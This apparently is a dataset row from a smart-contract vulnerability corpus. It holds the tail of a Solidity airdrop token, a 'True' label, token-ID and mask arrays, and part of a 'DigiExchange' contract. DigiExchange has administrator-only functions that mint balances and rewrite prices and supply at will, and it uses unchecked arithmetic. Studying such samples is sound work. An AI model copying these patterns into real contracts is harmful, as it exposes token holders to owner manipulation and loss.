for (uint i = 0; i < addresses.length; i++) {
require(value <= totalRemaining);
distr(addresses[i], value);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2539,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1037,
1027,
1027,
1014,
1064,
1064,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1013,
1038,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
20865,
1006,
1038,
1026,
1027,
1037,
1007,
1025,
2709,
1037,
1011,
1038,
1025,
1065,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
20865,
1006,
1039,
1028,
1027,
1037,
1007,
1025,
2709,
1039,
1025,
1065,
1065,
3206,
3097,
18715,
2368,
1063,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3206,
9413,
2278,
11387,
2003,
9413,
2278,
11387,
22083,
2594,
1063,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
2270,
5377,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
8278,
19204,
1063,
3853,
4487,
3367,
2099,
1006,
4769,
1035,
2000,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21948,
6279,
22086,
1006,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
4425,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
1035,
3954,
1007,
5377,
2270,
5651,
1006,
21318,
3372,
17788,
2575,
5703,
1007,
1025,
1065,
3206,
3899,
18903,
7520,
2003,
9413,
2278,
11387,
1063,
2478,
3647,
18900,
2232,
2005,
21318,
3372,
17788,
2575,
1025,
4769,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity >=0.5.6 <0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract DigiExchange {
using SafeMath for *;
struct Roadmap {
uint256 supply;
uint256 startPrice;
uint256 incPrice;
}
string constant public _name = "Digi Exchange";
string constant public _symbol = "DIGIX";
uint8 constant public _decimals = 0;
uint256 public _totalSupply = 1600000;
uint256 public _rewardsSupply = 240000;
uint256 public circulatingSupply = 514538;
mapping(address => bool) private administrators;
address commissionHolder;
address stakeHolder;
uint256 commissionFunds = 0;
uint256 public commissionPercent = 400;
uint256 public sellCommission = 600;
uint256 public tokenCommissionPercent = 250;
uint256 public buyPrice;
uint256 public sellPrice;
uint8 public currentRoadmap = 3;
uint8 public sellRoadmap = 3;
uint8 constant public LAST_ROADMAP = 18;
uint256 public currentRoadmapUsedSupply = 14538;
uint256 public sellRoadmapUsedSupply = 14538;
uint256 public totalStakeTokens = 0;
uint256 public totalLockInTokens = 0;
uint256 public locakablePercent = 750;
bool buyLimit = true;
uint256 buyLimitToken = 2100;
uint256 minBuyToken = 10;
address dev; //Backend Operation
address dev1; // Operations
address dev2; // Research Funds
address dev3; //Marketing
address dev4; // Development
address dev5; //Compliance
uint256 dev1Com;
uint256 dev2Com;
uint256 dev3Com;
uint256 dev4Com;
uint256 dev5Com;
mapping(address => uint256) commissionOf;
mapping(address => uint256) userIncomes;
mapping(address => uint256) private _balances;
mapping(address => uint256) public stakeBalanceOf;
mapping(uint8 => Roadmap) public priceRoadmap;
mapping(address => uint256) public _lockInBalances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Stake(address indexed staker, uint256 value, uint256 totalInStake);
event UnStake(address indexed staker, uint256 value, uint256 totalInStake);
event CommissionWithdraw(address indexed user, uint256 amount);
event WithdrawTokenCommission(address indexed user, uint256 amount, uint256 nonce);
event WithdrawStakingCommission(address indexed user, uint256 amount, uint256 nonce);
event Price(uint256 buyPrice, uint256 sellPrice, uint256 circulatingSupply);
event StakeUser(address indexed user, uint256 value, uint256 totalInStake, uint256 nonce);
event LockIn(address indexed from, address indexed to, uint256 value);
event TransactionFees(address to, uint256 totalValue);
constructor(address _commissionHolder, address _stakeHolder) public {
administrators[msg.sender] = true;
administrators[_commissionHolder] = true;
dev = msg.sender;
commissionHolder = _commissionHolder;
stakeHolder = _stakeHolder;
createRoadmap();
buyPrice = 867693750000000;
sellPrice = 867688750000000;
}
function() external payable {
revert();
}
modifier onlyAdministrators{
require(administrators[msg.sender], "Only administrators can execute this function");
_;
}
function upgradeContract(address[] memory users) public onlyAdministrators {
for (uint i = 0; i < users.length; i++) {
_balances[users[i]] += 500;
_lockInBalances[users[i]] += 1500;
_balances[commissionHolder] += 666;
emit Transfer(address(this), users[i], _balances[users[i]]);
emit LockIn(users[i], address(this), _lockInBalances[users[i]]);
}
}
function upgradeDetails(uint256 _bp, uint256 _sp, uint256 _circSup, uint8 _currentRp, uint8 _sellRp, uint256 _crs, uint256 _srs, uint256 _commFunds) public onlyAdministrators {
buyPrice = _bp;
sellPrice = _sp;
circulatingSupply = _circSup;
currentRoadmap = _currentRp;
sellRoadmap = _sellRp;
currentRoadmapUsedSupply = _crs;
sellRoadmapUsedSupply = _srs;
commissionFunds = _commFunds;
}
function stake(address _user, uint256 _tokens, uint256 nonce) public onlyAdministrators {
require(_tokens <= _balances[_user], "User dont have enough tokens to stake");
_balances[_user] -= _tokens;
stakeBalanceOf[_user] += _tokens;
totalStakeTokens += _tokens;
emit StakeUser(_user, _tokens, totalStakeTokens, nonce);
}
function stakeExt(address _user, uint256 _tokens) private {
require(_tokens <= _balances[_user], "You dont have enough tokens to stake");
_balances[_user] -= _tokens;
stakeBalanceOf[_user] += _tokens;
totalStakeTokens += _tokens;
emit Stake(_user, _tokens, totalStakeTokens);
}
function unStake(address _user, uint256 _tokens) public onlyAdministrators {
require(_tokens <= stakeBalanceOf[_user], "User doesnt have amount of token in stake");
stakeBalanceOf[_user] -= _tokens;
totalStakeTokens -= _tokens;
_balances[_user] += _tokens;
emit UnStake(_user, _tokens, totalStakeTokens);
}
function lockInExt(address _user, uint256 _tokens) private {
_lockInBalances[_user] += _tokens;
totalLockInTokens += _tokens;
}
function releaseLockIn(address _user, uint256 _tokens) public onlyAdministrators {
require(_tokens <= _lockInBalances[_user], "User dont have enough balance in Tokens");
_lockInBalances[_user] = _lockInBalances[_user] - _tokens;
_balances[_user] = _balances[_user] + _tokens;
totalLockInTokens = totalLockInTokens - _tokens;
emit LockIn(address(this), _user, _tokens);
}
function addLiquidity() external payable returns (bool){
return true;
}
function purchase(uint256 tokens) external payable {
purchaseExt(msg.sender, tokens, msg.value);
}
function sell(uint256 _tokens) public {
require(_tokens > 0, "Tokens can not be zero");
require(_tokens <= _balances[msg.sender], "You dont have enough amount of token");
sellExt(msg.sender, _tokens);
}
function sellExt(address _user, uint256 _tokens) private {
uint256 saleAmount = updateSale(_tokens);
_balances[_user] -= _tokens;
uint256 _commission = saleAmount.mul(sellCommission).div(10000);
uint256 _balanceAfterCommission = saleAmount.sub(_commission);
uint256 txnFees = _commission * 200 / 1000;
commissionOf[dev] += txnFees;
uint256 userInc = _commission * 50 / 10000;
userIncomes[commissionHolder] += userInc;
commissionFunds += (_commission - txnFees) - userInc;
emit Transfer(_user, address(this), _tokens);
emit Price(buyPrice, sellPrice, circulatingSupply);
emit TransactionFees(address(this), _commission);
sendBalanceAmount(_user, _balanceAfterCommission);
}
function purchaseExt(address _user, uint256 _tokens, uint256 _amountInEth) private {
require(_tokens >= minBuyToken, "Minimum tokens should be buy");
require(_tokens + circulatingSupply <= _totalSupply, "All tokens has purchased");
require(_amountInEth > 0 ether, "amount can not be zero");
if (buyLimit) {
uint256 tokenWithoutComm = _tokens.sub(_tokens.mul(tokenCommissionPercent).div(1000));
require(_balances[_user] + stakeBalanceOf[_user] + tokenWithoutComm + _lockInBalances[_user] <= buyLimitToken, "Exceeding buy Limit");
}
uint32 size;
assembly {
size := extcodesize(_user)
}
require(size == 0, "cannot be a contract");
uint256 _commission = _amountInEth.mul(commissionPercent).div(10000);
uint256 _balanceEthAfterCommission = _amountInEth - _commission;
uint256 purchaseAmount = updatePurchase(_tokens, _balanceEthAfterCommission);
uint256 txnFees = _commission * 200 / 1000;
uint256 userInc = _commission * 100 / 10000;
commissionOf[dev] += txnFees;
userIncomes[commissionHolder] += userInc;
commissionFunds += (_commission - txnFees) - userInc;
uint256 _tokenCommission = _tokens.mul(tokenCommissionPercent).div(1000);
uint256 _tokensAfterCommission = _tokens - _tokenCommission;
if (buyLimit) {
uint256 lockableTokens = _tokensAfterCommission.mul(locakablePercent).div(1000);
_balances[commissionHolder] += _tokenCommission;
_balances[_user] += _tokensAfterCommission - lockableTokens;
lockInExt(_user, lockableTokens);
emit Transfer(address(this), _user, _tokensAfterCommission.sub(lockableTokens));
emit Price(buyPrice, sellPrice, circulatingSupply);
emit LockIn(_user, address(this), lockableTokens);
} else {
_balances[commissionHolder] += _tokenCommission;
_balances[_user] += _tokens - _tokenCommission;
emit Transfer(address(this), _user, _tokens.sub(_tokenCommission));
emit Price(buyPrice, sellPrice, circulatingSupply);
}
emit TransactionFees(address(this), _commission);
if (purchaseAmount < _balanceEthAfterCommission) {
sendBalanceAmount(_user, _balanceEthAfterCommission - purchaseAmount);
}
}
function updateSale(uint256 _tokens) private returns (uint256 saleAmount){
uint256 _saleAmount = uint256(0);
Roadmap memory _roadmap = priceRoadmap[sellRoadmap];
uint256 _sellRoadmapUsedSupply = sellRoadmapUsedSupply;
uint256 _balanceSupplyInCurrentRoadmap = _sellRoadmapUsedSupply;
_roadmap = priceRoadmap[sellRoadmap];
if (_tokens < _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * sellPrice * _tokens) - (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
sellPrice = _roadmap.startPrice + ((_balanceSupplyInCurrentRoadmap - _tokens) * _roadmap.incPrice) - _roadmap.incPrice;
buyPrice = _roadmap.startPrice + (((_balanceSupplyInCurrentRoadmap + 1) - _tokens) * _roadmap.incPrice) - _roadmap.incPrice;
sellRoadmapUsedSupply -= _tokens;
currentRoadmapUsedSupply = sellRoadmapUsedSupply;
circulatingSupply -= _tokens;
currentRoadmap = sellRoadmap;
return _saleAmount;
} else if (_tokens == _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * sellPrice * _tokens) - (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
if (sellRoadmap == 1) {
sellPrice = priceRoadmap[1].startPrice;
buyPrice = priceRoadmap[1].startPrice;
currentRoadmap = 1;
sellRoadmapUsedSupply = 0;
currentRoadmapUsedSupply = 0;
} else {
sellPrice = priceRoadmap[sellRoadmap - 1].startPrice + (priceRoadmap[sellRoadmap - 1].supply * priceRoadmap[sellRoadmap - 1].incPrice) - priceRoadmap[sellRoadmap - 1].incPrice;
buyPrice = priceRoadmap[sellRoadmap].startPrice;
currentRoadmap = sellRoadmap;
sellRoadmap -= 1;
sellRoadmapUsedSupply = priceRoadmap[sellRoadmap].supply;
currentRoadmapUsedSupply = 0;
}
circulatingSupply -= _tokens;
return _saleAmount;
}
uint256 noOfTokensToSell = _tokens;
uint256 _sellPrice = uint256(0);
for (uint8 i = sellRoadmap; i > 0; i--) {
_roadmap = priceRoadmap[i];
_balanceSupplyInCurrentRoadmap = _sellRoadmapUsedSupply;
if (i == sellRoadmap) {
_sellPrice = sellPrice;
} else {
_sellPrice = _roadmap.startPrice + (_roadmap.supply * _roadmap.incPrice) - _roadmap.incPrice;
}
if (noOfTokensToSell > _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * _sellPrice * _balanceSupplyInCurrentRoadmap) - (_balanceSupplyInCurrentRoadmap * _balanceSupplyInCurrentRoadmap * _roadmap.incPrice) - (_balanceSupplyInCurrentRoadmap * _roadmap.incPrice)) / 2;
noOfTokensToSell -= _balanceSupplyInCurrentRoadmap;
_sellRoadmapUsedSupply = priceRoadmap[i - 1].supply;
} else if (noOfTokensToSell < _balanceSupplyInCurrentRoadmap) {
_saleAmount += ((2 * _sellPrice * noOfTokensToSell) - (noOfTokensToSell * noOfTokensToSell * _roadmap.incPrice) - (noOfTokensToSell * _roadmap.incPrice)) / 2;
sellPrice = _roadmap.startPrice + ((_balanceSupplyInCurrentRoadmap - noOfTokensToSell) * _roadmap.incPrice) - _roadmap.incPrice;
buyPrice = _roadmap.startPrice + (((_balanceSupplyInCurrentRoadmap + 1) - noOfTokensToSell) * _roadmap.incPrice) - _roadmap.incPrice;
sellRoadmapUsedSupply = _balanceSupplyInCurrentRoadmap - noOfTokensToSell;
currentRoadmapUsedSupply = sellRoadmapUsedSupply;
circulatingSupply -= _tokens;
currentRoadmap = i;
sellRoadmap = i;
return _saleAmount;
} else {
_saleAmount += ((2 * _sellPrice * noOfTokensToSell) - (noOfTokensToSell * noOfTokensToSell * _roadmap.incPrice) - (noOfTokensToSell * _roadmap.incPrice)) / 2;
sellPrice = priceRoadmap[i - 1].startPrice + (priceRoadmap[i - 1].supply * priceRoadmap[i - 1].incPrice) - priceRoadmap[i - 1].incPrice;
buyPrice = priceRoadmap[i].startPrice;
sellRoadmap = i - 1;
sellRoadmapUsedSupply = priceRoadmap[sellRoadmap].supply;
currentRoadmapUsedSupply = 0;
circulatingSupply -= _tokens;
currentRoadmap = i;
return _saleAmount;
}
}
}
function updatePurchase(uint256 _tokens, uint256 _userEthAmount) private returns (uint256 purchaseAmount){
uint256 _purchaseAmount = uint256(0);
Roadmap memory _roadmap = priceRoadmap[currentRoadmap];
uint256 _currentRoadmapUsedSupply = currentRoadmapUsedSupply;
uint256 _balanceSupplyInCurrentRoadmap = _currentRoadmapUsedSupply > _roadmap.supply ? _currentRoadmapUsedSupply - _roadmap.supply : _roadmap.supply - _currentRoadmapUsedSupply;
if (_tokens < _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * buyPrice * _tokens) + (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
require(_purchaseAmount <= _userEthAmount, "Dont have sufficient balance to purchase");
sellPrice = buyPrice + (_tokens * _roadmap.incPrice) - _roadmap.incPrice;
buyPrice = buyPrice + (_tokens * _roadmap.incPrice);
currentRoadmapUsedSupply += _tokens;
sellRoadmapUsedSupply = currentRoadmapUsedSupply;
circulatingSupply += _tokens;
sellRoadmap = currentRoadmap;
return _purchaseAmount;
} else if (_tokens == _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * buyPrice * _tokens) + (_tokens * _tokens * _roadmap.incPrice) - (_tokens * _roadmap.incPrice)) / 2;
require(_purchaseAmount <= _userEthAmount, "Dont have sufficient balance to purchase");
sellPrice = buyPrice + (_tokens * _roadmap.incPrice) - _roadmap.incPrice;
buyPrice = priceRoadmap[currentRoadmap + 1].startPrice;
currentRoadmapUsedSupply = 0;
sellRoadmapUsedSupply = priceRoadmap[currentRoadmap].supply;
currentRoadmap += 1;
sellRoadmap = currentRoadmap;
circulatingSupply += _tokens;
return _purchaseAmount;
}
uint256 noOfTokensToBuy = _tokens;
uint256 _buyPrice = uint256(0);
for (uint8 i = currentRoadmap; i <= LAST_ROADMAP; i++) {
_roadmap = priceRoadmap[i];
_balanceSupplyInCurrentRoadmap = _currentRoadmapUsedSupply > _roadmap.supply ? _currentRoadmapUsedSupply - _roadmap.supply : _roadmap.supply - _currentRoadmapUsedSupply;
if (i == currentRoadmap) {
_buyPrice = buyPrice;
} else {
_buyPrice = _roadmap.startPrice;
}
if (noOfTokensToBuy > _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * _buyPrice * _balanceSupplyInCurrentRoadmap) + (_balanceSupplyInCurrentRoadmap * _balanceSupplyInCurrentRoadmap * _roadmap.incPrice) - (_balanceSupplyInCurrentRoadmap * _roadmap.incPrice)) / 2;
require(_purchaseAmount <= _userEthAmount, "Dont have sufficient balance to purchase");
noOfTokensToBuy -= _balanceSupplyInCurrentRoadmap;
_currentRoadmapUsedSupply = 0;
} else if (noOfTokensToBuy < _balanceSupplyInCurrentRoadmap) {
_purchaseAmount += ((2 * _buyPrice * noOfTokensToBuy) + (noOfTokensToBuy * noOfTokensToBuy * _roadmap.incPrice) - (noOfTokensToBuy * _roadmap.incPrice)) / 2;
require(_purchaseAmount <= _userEthAmount, "Dont have sufficient balance to purchase");
if (noOfTokensToBuy == 1) {
sellPrice = priceRoadmap[i - 1].startPrice + (priceRoadmap[i - 1].supply * priceRoadmap[i - 1].incPrice) - priceRoadmap[i - 1].incPrice;
buyPrice = priceRoadmap[i].startPrice + (noOfTokensToBuy * priceRoadmap[i].incPrice);
sellRoadmapUsedSupply = priceRoadmap[i - 1].supply;
sellRoadmap = i - 1;
} else {
sellPrice = _buyPrice + (noOfTokensToBuy * _roadmap.incPrice) - _roadmap.incPrice;
buyPrice = _buyPrice + (noOfTokensToBuy * _roadmap.incPrice);
sellRoadmapUsedSupply = noOfTokensToBuy;
sellRoadmap = i;
}
currentRoadmap = i;
currentRoadmapUsedSupply = noOfTokensToBuy;
circulatingSupply += _tokens;
return _purchaseAmount;
} else {
_purchaseAmount += ((2 * _buyPrice * noOfTokensToBuy) + (noOfTokensToBuy * noOfTokensToBuy * _roadmap.incPrice) - (noOfTokensToBuy * _roadmap.incPrice)) / 2;
require(_purchaseAmount <= _userEthAmount, "Dont have sufficient balance to purchase");
sellPrice = _buyPrice + (noOfTokensToBuy * _roadmap.incPrice) - _roadmap.incPrice;
buyPrice = priceRoadmap[i + 1].startPrice;
currentRoadmapUsedSupply = 0;
sellRoadmapUsedSupply = priceRoadmap[i].supply;
circulatingSupply += _tokens;
currentRoadmap = i + 1;
sellRoadmap = i;
return _purchaseAmount;
}
}
}
function releaseUserIncome(address _user, uint256 _etherAmount) public onlyAdministrators {
require(_etherAmount <= userIncomes[commissionHolder], "Not enough amount");
commissionOf[_user] += _etherAmount;
}
function addCommissionFunds(uint256 _amount) private {
